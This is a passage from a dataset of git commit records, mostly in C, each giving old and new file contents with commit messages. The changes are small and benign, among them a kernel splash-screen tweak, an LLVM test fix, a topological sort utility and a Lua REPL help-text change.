,CraigHarris\/gpdb,lisakowen\/gpdb,kaknikhil\/gpdb,0x0FFF\/gpdb,oberstet\/postgres-xl,foyzur\/gpdb,arcivanov\/postgres-xl,tangp3\/gpdb,yuanzhao\/gpdb,xinzweb\/gpdb,adam8157\/gpdb,cjcjameson\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,xuegang\/gpdb,chrishajas\/gpdb,edespino\/gpdb,xinzweb\/gpdb,foyzur\/gpdb,0x0FFF\/gpdb,greenplum-db\/gpdb,xuegang\/gpdb,kaknikhil\/gpdb,ashwinstar\/gpdb,Quikling\/gpdb,CraigHarris\/gpdb,postmind-net\/postgres-xl,rubikloud\/gpdb,ashwinstar\/gpdb,ahachete\/gpdb,janebeckman\/gpdb,pavanvd\/postgres-xl,kaknikhil\/gpdb,atris\/gpdb,yazun\/postgres-xl"}
{"commit":"5a3d7873993eb4c6f4e4d650e2b46b0d403fecd3","old_file":"kernel\/core\/main.c","new_file":"kernel\/core\/main.c","old_contents":"#include <truth\/panic.h>\n#include <truth\/cpu.h>\n#include <truth\/types.h>\n#include <truth\/log.h>\n#include <truth\/slab.h>\n#include <truth\/heap.h>\n#include <truth\/physical_allocator.h>\n\nstring Logo = str(\"\\n\"\n                  \"            _.-.\\n\"\n                  \"        .-.  `) |  .-.\\n\"\n                  \"    _.'`. .~.\/  \\\\.~. .`'._\\n\"\n                  \" .-' .'.'.'.-|  |-.'.'.'. '-.\\n\"\n                  \"  `'`'`'`'`  \\\\  \/  `'`'`'`'`\\n\"\n                  \"             \/||\\\\\\n\"\n                  \"            \/\/||\\\\\\\\\\n\"\n                  \"\\n\"\n                  \"      The Kernel of Truth\\n\");\n\nvoid kernel_main(void *multiboot_tables) {\n    enum status status = init_log(\"log\");\n    assert(status == Ok);\n    log(Logo);\n    logf(\"\\tVersion %d.%d.%d\\n\\tCommit %s\\n\\t%s\\n\",\n         kernel_major, kernel_minor, kernel_patch, vcs_version,\n         project_website);\n    init_interrupts();\n    init_physical_allocator(multiboot_tables);\n    init_slab();\n    status = init_heap();\n    assert(status == Ok);\n    halt();\n}\n","new_contents":"#include <truth\/panic.h>\n#include <truth\/cpu.h>\n#include <truth\/types.h>\n#include <truth\/log.h>\n#include <truth\/slab.h>\n#include <truth\/heap.h>\n#include <truth\/physical_allocator.h>\n\nstring Logo = str(\"\\n\"\n                  \"            _.-.\\n\"\n                  \"        .-.  `) |  .-.\\n\"\n                  \"    _.'`. .~.\/  \\\\.~. .`'._\\n\"\n                  \" .-' .'.'.'.-|  |-.'.'.'. '-.\\n\"\n                  \"  `'`'`'`'`  \\\\  \/  `'`'`'`'`\\n\"\n                  \"             \/||\\\\\\n\"\n                  \"            \/\/||\\\\\\\\\\n\"\n                  \"\\n\"\n                  \"      The Kernel of Truth\\n\");\n\nvoid kernel_main(void *multiboot_tables) {\n    enum status status = init_log(\"log\");\n    assert(status == Ok);\n    log(Logo);\n    logf(\"\\tVersion %d.%d.%d\\n\\tCommit %s\\n\\t%s\\n\\tCPU Time %ld\\n\",\n         kernel_major, kernel_minor, kernel_patch, vcs_version,\n         project_website, cpu_time());\n    init_interrupts();\n    init_physical_allocator(multiboot_tables);\n    init_slab();\n    status = init_heap();\n    assert(status == Ok);\n    halt();\n}\n","subject":"Print CPU time in splash screen","message":"Print CPU time in splash screen\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"6aba02ecbbacb85918853ed86fea114138945643","old_file":"atom\/common\/common_message_generator.h","new_file":"atom\/common\/common_message_generator.h","old_contents":"\/\/ Copyright (c) 2014 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Multiply-included file, no traditional include guard.\n\n#include \"atom\/common\/api\/api_messages.h\"\n#include \"chrome\/common\/print_messages.h\"\n#include \"chrome\/common\/tts_messages.h\"\n#include \"chrome\/common\/widevine_cdm_messages.h\"\n","new_contents":"\/\/ Copyright (c) 2014 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Multiply-included file, no traditional include guard.\n\n#include \"atom\/common\/api\/api_messages.h\"\n#include \"chrome\/common\/print_messages.h\"\n#include \"chrome\/common\/tts_messages.h\"\n#include \"chrome\/common\/widevine_cdm_messages.h\"\n#include \"chrome\/common\/chrome_utility_messages.h\"\n","subject":"Fix linking problem with IPC::MessageT","message":"Fix linking problem with IPC::MessageT\n\nIPC::MessageT<ChromeUtilityHostMsg_ProcessStarted_Meta, std::__1::tuple<>, void>::MessageT(IPC::Routing)\n","lang":"C","license":"mit","repos":"Floato\/electron,Floato\/electron,Floato\/electron,Floato\/electron,Floato\/electron,Floato\/electron"}
{"commit":"8c39774323a9f462dd513032c5d84a43af3d5a89","old_file":"ActionLog\/scripts\/specific-action-log\/newIssueGroup.c","new_file":"ActionLog\/scripts\/specific-action-log\/newIssueGroup.c","old_contents":"speciﬁc action log: newIssueGroup\n#\nSet Variable [ $brainstate; Value:brainstate::_lockBrainstateID ]\n#\nGo to Layout [ “IssuesAndObservations Copy” (issue) ]\n#\nNew Record\/Request\nSet Field [ issue::lock; \"location\" ]\nSet Field [ issue::_keyBrainstate; $brainstate ]\n#\nSet Variable [ $group; Value:issue::_LockList ]\n#\nGo to Layout [ original layout ]\n#\nGo to Object [ Object Name: \"group\" ]\n#\nGo to Portal Row\n[ First ]\nLoop\nExit Loop If [ $group = category::_LockList ]\nGo to Portal Row\n[ Select; Next ]\nEnd Loop\n#\nGo to Field [ category::text ]\nJanuary 6, 平成26 11:15:58 ActionLog.fp7 - newIssueGroup -1-\n","new_contents":"speciﬁc action log: newIssueGroup\n#\nSet Variable [ $brainstate; Value:brainstate::_lockBrainstateID ]\n#\nGo to Layout [ “IssuesAndObservations Copy” (issue) ]\n#\nNew Record\/Request\nSet Field [ issue::lock; \"location\" ]\nSet Field [ issue::_keyBrainstate; $brainstate ]\n#\nSet Variable [ $group; Value:issue::_LockList ]\n#\nGo to Layout [ original layout ]\n#\nGo to Object [ Object Name: \"group\" ]\n#\nGo to Portal Row\n[ First ]\nLoop\nExit Loop If [ $group = category::_LockList ]\nGo to Portal Row\n[ Select; Next; Exit after last ]\nEnd Loop\n#\nGo to Field [ category::text ]\nFebruary 24, 平成26 15:13:03 ActionLog.fp7 - newIssueGroup -1-","subject":"Fix logic loop in script","message":"Fix logic loop in script\n\nFix logic loop in script attached to button [Specific Action Tag 47] so\nit exists after reaching last item.\n","lang":"C","license":"apache-2.0","repos":"HelpGiveThanks\/ActionLog,HelpGiveThanks\/ActionLog"}
{"commit":"81ce26a410a2bcd751f40022d78e20c95bf7b60e","old_file":"test\/FrontendC\/ARM\/inline-asm-multichar.c","new_file":"test\/FrontendC\/ARM\/inline-asm-multichar.c","old_contents":"\/\/ RUN: %llvmgcc -S -march=armv7a %s \n\n\/\/ XFAIL: *\n\/\/ XTARGET: arm\n\nint t1() {\n  static float k = 1.0f;\nCHECK: call void asm sideeffect \"flds s15, $0 \\0A\", \"*^Uv,~{s15}\"\n  __asm__ volatile (\"flds s15, %[k] \\n\" :: [k] \"Uv,m\" (k) : \"s15\");\n  return 0;\n}\n","new_contents":"\/\/ RUN: %llvmgcc -S -march=armv7a %s | FileCheck %s\n\n\/\/ XFAIL: *\n\/\/ XTARGET: arm\n\nint t1() {\n  static float k = 1.0f;\n  \/\/ CHECK: \"flds s15, $0 \\0A\", \"*^Uv,~{s15}\"\n  __asm__ volatile (\"flds s15, %[k] \\n\" :: [k] \"Uv,m\" (k) : \"s15\");\n  return 0;\n}\n","subject":"Fix this test to actually check something and be able to be compiled.","message":"Fix this test to actually check something and be able to be compiled.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@133952 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm"}
{"commit":"b0f2dc244acaf14306add643fc61482f6fe211a9","old_file":"offset.c","new_file":"offset.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"crypt.h\"\n#include \"accessdata.h\"\n#include \"vars.h\"\n\nstatic char fileName[] = \"ruleDB.dsg\";\n\nvoid main()\n{\n\t\/\/ struct staticVar svar;\n\tstruct staticVar *p;\n\t\n\tp = malloc(sizeof(struct staticVar));\n\t\/\/ p = &svar;\n\t\n\t\/\/ strcpy(svar.s1, \"Sarat\");\n\t\/\/ svar.s2 = 10;\n\t\/\/ svar.s3 = 16.5;\n\t\/\/ strcpy(svar.s4, \"Mahesh\");\n\t\/\/ svar.s5 = 1234567.67;\n\t\/\/ strcpy(svar.s6, \"Y\");\n\t\/\/ svar.s7 = 143.23;\n\t\/\/ svar.s8.varId = 10;\n\t\/\/ strcpy(svar.s8.varData,\"Inside a structure.\");\n\t\n\tFILE * fp;\n\t\n\t\/\/ fp = fopen (fileName, \"w+\");\n\tfp = fopen (fileName, \"r+\");\n\t\/\/ fwrite(p,sizeof(struct staticVar),1,fp);\n\tfread(p,sizeof(struct staticVar),1,fp);\n\t\n\tprintf(\"%s \\n\", p->s4);\n\t\n\tfclose(fp);\n}","subject":"Read data from Static File","message":"Read data from Static File\n\nReading data from static file and then displaying the data using pointers\n","lang":"C","license":"apache-2.0","repos":"saratsarat7\/myTest"}
{"commit":"9eb00b97c35261d4bcd2f0a6ec66c0ac2cc4d196","old_file":"compat\/compat.h","new_file":"compat\/compat.h","old_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n\n#ifndef HAVE_PLEDGE\n#include \"pledge.h\"\n#endif\n\n#ifndef HAVE_STRTONUM\n#include \"strtonum.h\"\n#endif\n\n#ifndef timespecsub\n#define\ttimespecsub(tsp, usp, vsp)\t\t\t\t\t\\\n\tdo {\t\t\t\t\t\t\t\t\\\n\t\t(vsp)->tv_sec = (tsp)->tv_sec - (usp)->tv_sec;\t\t\\\n\t\t(vsp)->tv_nsec = (tsp)->tv_nsec - (usp)->tv_nsec;\t\\\n\t\tif ((vsp)->tv_nsec < 0) {\t\t\t\t\\\n\t\t\t(vsp)->tv_sec--;\t\t\t\t\\\n\t\t\t(vsp)->tv_nsec += 1000000000L;\t\t\t\\\n\t\t}\t\t\t\t\t\t\t\\\n\t} while (0)\n#endif\n\n#endif \/* COMPAT_H *\/\n","new_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n\n#ifndef HAVE_PLEDGE\n#include \"pledge.h\"\n#endif\n\n#ifndef HAVE_STRTONUM\n#include \"strtonum.h\"\n#endif\n\n\/* Use CLOCK_REALTIME if CLOCK_MONOTONIC is not available *\/\n#ifndef CLOCK_MONOTONIC\n#define CLOCK_MONOTONIC CLOCK_REALTIME\n#endif\n\n#ifndef timespecsub\n#define\ttimespecsub(tsp, usp, vsp)\t\t\t\t\t\\\n\tdo {\t\t\t\t\t\t\t\t\\\n\t\t(vsp)->tv_sec = (tsp)->tv_sec - (usp)->tv_sec;\t\t\\\n\t\t(vsp)->tv_nsec = (tsp)->tv_nsec - (usp)->tv_nsec;\t\\\n\t\tif ((vsp)->tv_nsec < 0) {\t\t\t\t\\\n\t\t\t(vsp)->tv_sec--;\t\t\t\t\\\n\t\t\t(vsp)->tv_nsec += 1000000000L;\t\t\t\\\n\t\t}\t\t\t\t\t\t\t\\\n\t} while (0)\n#endif\n\n#endif \/* COMPAT_H *\/\n","subject":"Use CLOCK_REALTIME if CLOCK_MONOTONIC is not available.","message":"Use CLOCK_REALTIME if CLOCK_MONOTONIC is not available.\n","lang":"C","license":"bsd-2-clause","repos":"fcambus\/logswan,fcambus\/logswan"}
{"commit":"a9200680ad64099de4fa658e9051ab6e0e058170","old_file":"src\/exercise115.c","new_file":"src\/exercise115.c","old_contents":"","new_contents":"\/* Exercise 1-15: Rewrite the temperature conversion program of Section 1.2 to\n * use a function for conversion. *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n\nfloat farenheitToCelsius(float farenheit)\n{\n\treturn (5.0 \/ 9.0) * (farenheit - 32.0);\n}\n\nint main(int argc, char **argv)\n{\n  printf(\"F\\tC\\n=============\\n\");\n  float i;\n  for (i = 0; i <= 300; i += 20) {\n    printf(\"%3.0f\\t%5.1f\\n\", i, farenheitToCelsius(i));\n  }\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 1-15.","message":"Add solution to Exercise 1-15.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"1a8820a34f7405743ce0376d63a66694bfd533af","old_file":"ports\/gtk-webkit\/next-gtk-webkit.c","new_file":"ports\/gtk-webkit\/next-gtk-webkit.c","old_contents":"\/*\nCopyright © 2018-2019 Atlas Engineer LLC.\nUse of this file is governed by the license that can be found in LICENSE.\n*\/\n\n#include <gtk\/gtk.h>\n#include <stdlib.h>\n#include \"server.h\"\n\nstatic void on_name_acquired(GDBusConnection *connection,\n\tconst gchar *name,\n\tgpointer user_data) {\n\tg_message(\"Starting platform port\");\n}\n\nstatic void on_name_lost(GDBusConnection *_connection,\n\tconst gchar *_name,\n\tgpointer _user_data) {\n\tg_message(\"Platform port disconnected\");\n\t\/\/ TODO: Call stop_server here?\n\texit(1);\n}\n\nint main(int argc, char *argv[]) {\n\t\/\/ TODO: Use GtkApplication?\n\tguint owner_id = g_bus_own_name(G_BUS_TYPE_SESSION,\n\t\t\tPLATFORM_PORT_NAME,\n\t\t\tG_BUS_NAME_OWNER_FLAGS_NONE,\n\t\t\tstart_server,\n\t\t\ton_name_acquired,\n\t\t\ton_name_lost,\n\t\t\tNULL,\n\t\t\tNULL);\n\n\t\/\/ TODO: Start the RPC server first?  If GUI is started, then we can\n\t\/\/ report RPC startup issues graphically.\n\n\tgtk_main();\n\n\tstop_server();\n\n\tg_bus_unown_name(owner_id);\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"\/*\nCopyright © 2018-2019 Atlas Engineer LLC.\nUse of this file is governed by the license that can be found in LICENSE.\n*\/\n\n#include <gtk\/gtk.h>\n#include <stdlib.h>\n#include \"server.h\"\n\nstatic void on_name_acquired(GDBusConnection *connection,\n\tconst gchar *name,\n\tgpointer user_data) {\n\tg_message(\"Starting platform port\");\n}\n\nstatic void on_name_lost(GDBusConnection *_connection,\n\tconst gchar *_name,\n\tgpointer _user_data) {\n\tg_message(\"Platform port disconnected\");\n\t\/\/ TODO: Call stop_server here?\n\texit(1);\n}\n\nint main(int argc, char *argv[]) {\n\t\/\/ It's safer to initialize GTK before the server is started.  In particular,\n\t\/\/ without it the program would crash if hardware acceleration is disabled\n\t\/\/ (e.g. with the WEBKIT_DISABLE_COMPOSITING_MODE=1 environment variable).\n\tgtk_init(NULL, NULL);\n\t\/\/ TODO: Use GtkApplication?\n\n\tguint owner_id = g_bus_own_name(G_BUS_TYPE_SESSION,\n\t\t\tPLATFORM_PORT_NAME,\n\t\t\tG_BUS_NAME_OWNER_FLAGS_NONE,\n\t\t\tstart_server,\n\t\t\ton_name_acquired,\n\t\t\ton_name_lost,\n\t\t\tNULL,\n\t\t\tNULL);\n\n\t\/\/ TODO: Start the RPC server first?  If GUI is started, then we can\n\t\/\/ report RPC startup issues graphically.\n\n\tgtk_main();\n\n\tstop_server();\n\n\tg_bus_unown_name(owner_id);\n\treturn EXIT_SUCCESS;\n}\n","subject":"Fix crash when hardware acceleration is disabled.","message":"ports\/gtk-webkit: Fix crash when hardware acceleration is disabled.\n","lang":"C","license":"bsd-3-clause","repos":"jmercouris\/NeXT,jmercouris\/NeXT"}
{"commit":"ec2da88354ef61aa2020c666cf6ccf72ac3e619a","old_file":"JPEGReadWriter2Plugin\/Error.c","new_file":"JPEGReadWriter2Plugin\/Error.c","old_contents":"#include <stdio.h>\n#include \"jpeglib.h\"\n#include <setjmp.h>\n\nstruct error_mgr2 {\n  struct jpeg_error_mgr pub;\t\/* \"public\" fields *\/\n\n  jmp_buf setjmp_buffer;\t\/* for return to caller *\/\n};\n\ntypedef struct error_mgr2 * error_ptr2;\n\n\/*\n * Here's the routine that will replace the standard error_exit method:\n *\/\n\nvoid error_exit (j_common_ptr cinfo)\n{\n  \/* cinfo->err really points to a error_mgr2 struct, so coerce pointer *\/\n  error_ptr2 myerr = (error_ptr2) cinfo->err;\n\n  \/* Return control to the setjmp point *\/\n  longjmp(myerr->setjmp_buffer, 1);\n}\n\u001a","new_contents":"#include <stdio.h>\n#include \"jpeglib.h\"\n#include <setjmp.h>\n\nstruct error_mgr2 {\n  struct jpeg_error_mgr pub;\t\/* \"public\" fields *\/\n\n  jmp_buf setjmp_buffer;\t\/* for return to caller *\/\n};\n\ntypedef struct error_mgr2 * error_ptr2;\n\n\/*\n * Here's the routine that will replace the standard error_exit method:\n *\/\n\nvoid error_exit (j_common_ptr cinfo)\n{\n  \/* cinfo->err really points to a error_mgr2 struct, so coerce pointer *\/\n  error_ptr2 myerr = (error_ptr2) cinfo->err;\n\n  \/* Return control to the setjmp point *\/\n  longjmp(myerr->setjmp_buffer, 1);\n}\n","subject":"Remove nasty character at end of file that prevents compiles","message":"Remove nasty character at end of file that prevents compiles\n\n\ngit-svn-id: 5c8b60fcb9320cccfd2f497bdea85b37ac3f2028@72 fa1542d4-bde8-0310-ad64-8ed1123d492a\n","lang":"C","license":"mit","repos":"bencoman\/pharo-vm,guillep\/OzVM,ronsaldo\/pharo-vm-lowcode,ronsaldo\/pharo-raspberry,peteruhnak\/pharo-vm,zecke\/old-pharo-vm-sctp,ronsaldo\/pharo-raspberry,takano32\/pharo-vm,takano32\/pharo-vm,ronsaldo\/pharo-vm-lowcode,zecke\/old-pharo-vm-sctp,philippeback\/pharo-vm,peteruhnak\/pharo-vm,bencoman\/pharo-vm,takano32\/pharo-vm,zecke\/old-pharo-vm-sctp,zecke\/old-pharo-vm-sctp,philippeback\/pharo-vm,ronsaldo\/pharo-vm-lowcode,ronsaldo\/pharo-raspberry,peteruhnak\/pharo-vm,ronsaldo\/pharo-vm-lowcode,theseion\/pharo-vm,takano32\/pharo-vm,theseion\/pharo-vm,bencoman\/pharo-vm,bencoman\/pharo-vm,philippeback\/pharo-vm,theseion\/pharo-vm,zecke\/old-pharo-vm-sctp,guillep\/OzVM,zecke\/old-pharo-vm-sctp,takano32\/pharo-vm,theseion\/pharo-vm,theseion\/pharo-vm,ronsaldo\/pharo-raspberry,ronsaldo\/pharo-raspberry,philippeback\/pharo-vm,guillep\/OzVM,ronsaldo\/pharo-vm-lowcode,theseion\/pharo-vm,peteruhnak\/pharo-vm,guillep\/OzVM,peteruhnak\/pharo-vm,ronsaldo\/pharo-vm-lowcode,ronsaldo\/pharo-raspberry,philippeback\/pharo-vm,bencoman\/pharo-vm,theseion\/pharo-vm,takano32\/pharo-vm,guillep\/OzVM,ronsaldo\/pharo-vm-lowcode,ronsaldo\/pharo-raspberry,theseion\/pharo-vm,philippeback\/pharo-vm,bencoman\/pharo-vm,bencoman\/pharo-vm,philippeback\/pharo-vm,guillep\/OzVM,guillep\/OzVM,theseion\/pharo-vm,peteruhnak\/pharo-vm,bencoman\/pharo-vm,guillep\/OzVM,takano32\/pharo-vm,peteruhnak\/pharo-vm,ronsaldo\/pharo-vm-lowcode,zecke\/old-pharo-vm-sctp,takano32\/pharo-vm,guillep\/OzVM,philippeback\/pharo-vm,ronsaldo\/pharo-vm-lowcode,bencoman\/pharo-vm,zecke\/old-pharo-vm-sctp,ronsaldo\/pharo-raspberry,peteruhnak\/pharo-vm"}
{"commit":"e4d0eac063b91386fc309c1766149aadaa940449","old_file":"MKCommons\/MKUIThemeProtocol.h","new_file":"MKCommons\/MKUIThemeProtocol.h","old_contents":"\/\/\n\/\/ Created by Michael Kuck on 8\/20\/14.\n\/\/ Copyright (c) 2014 Michael Kuck. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/============================================================\n\/\/== MKUITheme protocol\n\/\/============================================================\n@protocol MKUIThemeProtocol<NSObject>\n\n+ (UIColor *)lightThemeColor;\n+ (UIColor *)normalThemeColor;\n+ (UIColor *)darkThemeColor;\n\n+ (UIStatusBarStyle)statusBarStyle;\n\n+ (UIColor *)navigationBarContentColor;\n\n+ (void)configureApplication;\n\n@end\n","new_contents":"\/\/\n\/\/ Created by Michael Kuck on 8\/20\/14.\n\/\/ Copyright (c) 2014 Michael Kuck. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/============================================================\n\/\/== MKUITheme protocol\n\/\/============================================================\n@protocol MKUIThemeProtocol<NSObject>\n\n+ (UIColor *)lightThemeColor;\n+ (UIColor *)normalThemeColor;\n+ (UIColor *)darkThemeColor;\n\n+ (UIStatusBarStyle)statusBarStyle;\n\n+ (UIColor *)navigationBarContentColor;\n\n+ (CGFloat)bigViewPadding;\n+ (CGFloat)defaultViewPadding;\n\n+ (void)configureApplication;\n\n@end\n","subject":"Extend UIThemeProtocol with padding\/inset sizes","message":"Extend UIThemeProtocol with padding\/inset sizes\n","lang":"C","license":"mit","repos":"mikumi\/mkcommons-obj"}
{"commit":"9ffc9710fa7d6d3f3f9f4ff2bf7068d7be1bbee9","old_file":"core\/src\/util\/topologicalSort.h","new_file":"core\/src\/util\/topologicalSort.h","old_contents":"","new_contents":"#pragma once\r\n\r\n#include <algorithm>\r\n#include <unordered_map>\r\n#include <utility>\r\n#include <vector>\r\n\r\n\/**\r\n * Given a list of edges describing a directed acyclic graph, returns a\r\n * list of nodes sorted in topological order; that is, if there is a path\r\n * from node 'a' to node 'b' in the graph, then 'a' will always precede\r\n * 'b' in the sorted result.\r\n *\/\r\ntemplate<typename T>\r\nstd::vector<T> topologicalSort(std::vector<std::pair<T, T>> edges) {\r\n\r\n    \/\/ Produce a sorted list of nodes using Kahn's algorithm.\r\n    std::vector<T> sorted;\r\n\r\n    \/\/ Loop over input edges, counting the incoming edges for each node.\r\n    std::unordered_map<T, size_t> incoming_edges;\r\n    for (const auto& edge : edges) {\r\n        incoming_edges[edge.first];\r\n        ++incoming_edges[edge.second];\r\n    }\r\n\r\n    \/\/ Find the set of starting nodes that have no incoming edges.\r\n    std::vector<T> start_nodes;\r\n    for (const auto& node : incoming_edges) {\r\n        if (node.second == 0) {\r\n            start_nodes.push_back(node.first);\r\n        }\r\n    }\r\n\r\n    while (!start_nodes.empty()) {\r\n        \/\/ Choose a node 'n' from the set of starting nodes and remove it.\r\n        auto n = start_nodes.back();\r\n        start_nodes.pop_back();\r\n\r\n        \/\/ Add the value of 'n' to the sorted list.\r\n        sorted.push_back(n);\r\n\r\n        \/\/ For each node 'm' with an edge 'e' from 'n' to 'm' ...\r\n        for (auto it = edges.begin(); it != edges.end(); ) {\r\n            auto e = *it;\r\n            if (e.first == n) {\r\n                auto m = e.second;\r\n                \/\/ ... remove edge 'e' from the graph.\r\n                it = edges.erase(it);\r\n                \/\/ If 'm' has no more incoming edges,\r\n                \/\/ add it to the set of starting nodes.\r\n                if (--incoming_edges[m] == 0) {\r\n                    start_nodes.push_back(m);\r\n                }\r\n            } else {\r\n                ++it;\r\n            }\r\n        }\r\n    }\r\n\r\n    if (!edges.empty()) {\r\n        \/\/ Graph has cycles! This is an error.\r\n        return {};\r\n    }\r\n\r\n    return sorted;\r\n\r\n}\r\n","subject":"Add a topological sort utility file","message":"Add a topological sort utility file\n","lang":"C","license":"mit","repos":"cleeus\/tangram-es,quitejonny\/tangram-es,quitejonny\/tangram-es,tangrams\/tangram-es,quitejonny\/tangram-es,quitejonny\/tangram-es,cleeus\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,quitejonny\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,cleeus\/tangram-es,cleeus\/tangram-es,quitejonny\/tangram-es,tangrams\/tangram-es,cleeus\/tangram-es,cleeus\/tangram-es"}
{"commit":"7ea1cb0d03e30bf5fc0880fe2c10ca9f9bd766be","old_file":"src\/flags.c","new_file":"src\/flags.c","old_contents":"#include \"flags.h\"\n\n#include <stdio.h>\n\n#include \"laco.h\"\n#include \"util.h\"\n\nstatic const char* version_matches[] = {\"-v\", \"--version\", NULL};\nstatic const char* help_matches[]    = {\"-h\", \"--help\", NULL};\n\n\/* Print off the current version of laco *\/\nstatic void handle_version(LacoState* laco, const char** arguments) {\n  const char* version = laco_get_laco_version(laco);\n\n  printf(\"laco version %s\\n\", version);\n  laco_kill(laco, 0, NULL);\n}\n\n\/* Print off the help screen *\/\nstatic void handle_help(LacoState* laco, const char** arguments) {\n  puts(\"A better REPL for Lua.\\n\");\n  puts(\"Usage: laco [options]\\n\");\n  puts(\"-h | --help     Print this help screen\");\n  puts(\"-v | --version  Print current version\");\n\n  laco_kill(laco, 0, NULL);\n}\n\nstatic const LacoCommand flag_commands[] = {\n  { version_matches, handle_version },\n  { help_matches,    handle_help },\n  { NULL, NULL }\n};\n\n\/* External API *\/\n\nvoid laco_handle_flag(LacoState* laco) {\n  const char* command = laco_get_laco_args(laco)[1];\n\n  laco_dispatch(flag_commands, laco, command, NULL);\n}\n","new_contents":"#include \"flags.h\"\n\n#include <stdio.h>\n\n#include \"laco.h\"\n#include \"util.h\"\n\nstatic const char* version_matches[] = {\"-v\", \"--version\", NULL};\nstatic const char* help_matches[]    = {\"-h\", \"--help\", NULL};\n\n\/* Print off the current version of laco *\/\nstatic void handle_version(LacoState* laco, const char** arguments) {\n  const char* version = laco_get_laco_version(laco);\n\n  printf(\"laco version %s\\n\", version);\n  laco_kill(laco, 0, NULL);\n}\n\n\/* Print off the help screen *\/\nstatic void handle_help(LacoState* laco, const char** arguments) {\n  puts(\"A better REPL for Lua.\\n\");\n  puts(\"Usage: laco [options]\\n\");\n  puts(\"-h, --help     Print this help screen\");\n  puts(\"-v, --version  Print current version\");\n\n  laco_kill(laco, 0, NULL);\n}\n\nstatic const LacoCommand flag_commands[] = {\n  { version_matches, handle_version },\n  { help_matches,    handle_help },\n  { NULL, NULL }\n};\n\n\/* External API *\/\n\nvoid laco_handle_flag(LacoState* laco) {\n  const char* command = laco_get_laco_args(laco)[1];\n\n  laco_dispatch(flag_commands, laco, command, NULL);\n}\n","subject":"Change flag separation from `|` to `,`","message":"Change flag separation from `|` to `,`\n","lang":"C","license":"bsd-2-clause","repos":"sourrust\/laco"}
{"commit":"f79ad5f49198dd251501dae66fe5c594842583e8","old_file":"test\/PCH\/reloc.c","new_file":"test\/PCH\/reloc.c","old_contents":"\/\/ RUN: clang-cc -emit-pch -o %t --relocatable-pch -isysroot `pwd`\/libroot `pwd`\/libroot\/usr\/include\/reloc.h &&\n\/\/ RUN: clang-cc -include-pch %t -isysroot `pwd`\/libroot %s -verify\n\/\/ FIXME (test harness can't do this?): not clang-cc -include-pch %t %s\n\n#include <reloc.h>\n\nint x = 2; \/\/ expected-error{{redefinition}}\nint y = 5; \/\/ expected-error{{redefinition}}\n\n\n\n\n\/\/ expected-note{{previous definition}}\n\/\/ expected-note{{previous definition}}","new_contents":"\/\/ RUN: clang-cc -emit-pch -o %t --relocatable-pch -isysroot %S\/libroot %S\/libroot\/usr\/include\/reloc.h &&\n\/\/ RUN: clang-cc -include-pch %t -isysroot %S\/libroot %s -verify &&\n\/\/ RUN: not clang-cc -include-pch %t %s\n\n#include <reloc.h>\n\nint x = 2; \/\/ expected-error{{redefinition}}\nint y = 5; \/\/ expected-error{{redefinition}}\n\n\n\n\n\/\/ expected-note{{previous definition}}\n\/\/ expected-note{{previous definition}}\n","subject":"Use %S, not `pwd`, and enable a line that *does* work. - Doug, please check.","message":"Use %S, not `pwd`, and enable a line that *does* work.\n - Doug, please check.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@77778 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
